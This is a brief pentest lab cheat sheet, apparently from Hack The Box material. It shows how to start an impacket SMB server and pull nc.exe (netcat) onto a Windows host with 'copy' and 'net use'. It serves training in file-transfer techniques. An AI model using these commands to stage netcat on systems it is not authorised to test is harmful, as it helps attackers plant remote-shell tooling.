SMB Downloads
Create the SMB Server
$ sudo impacket-smbserver share -smb2support /tmp/smbshare$ sudo impacket-smbserver share -smb2support /tmp/smbshare -user test -password testCopy a file from the SMB Server
C:\htb> copy \\192.168.220.133\share\nc.exe
1 file(s) copied.Mount the SMB Server with username and password
C:\htb> net use n: \\192.168.220.133\share /user:test test
The command completed successfully.
C:\htb> copy n:\nc.exe
1 file(s) copied.Last updated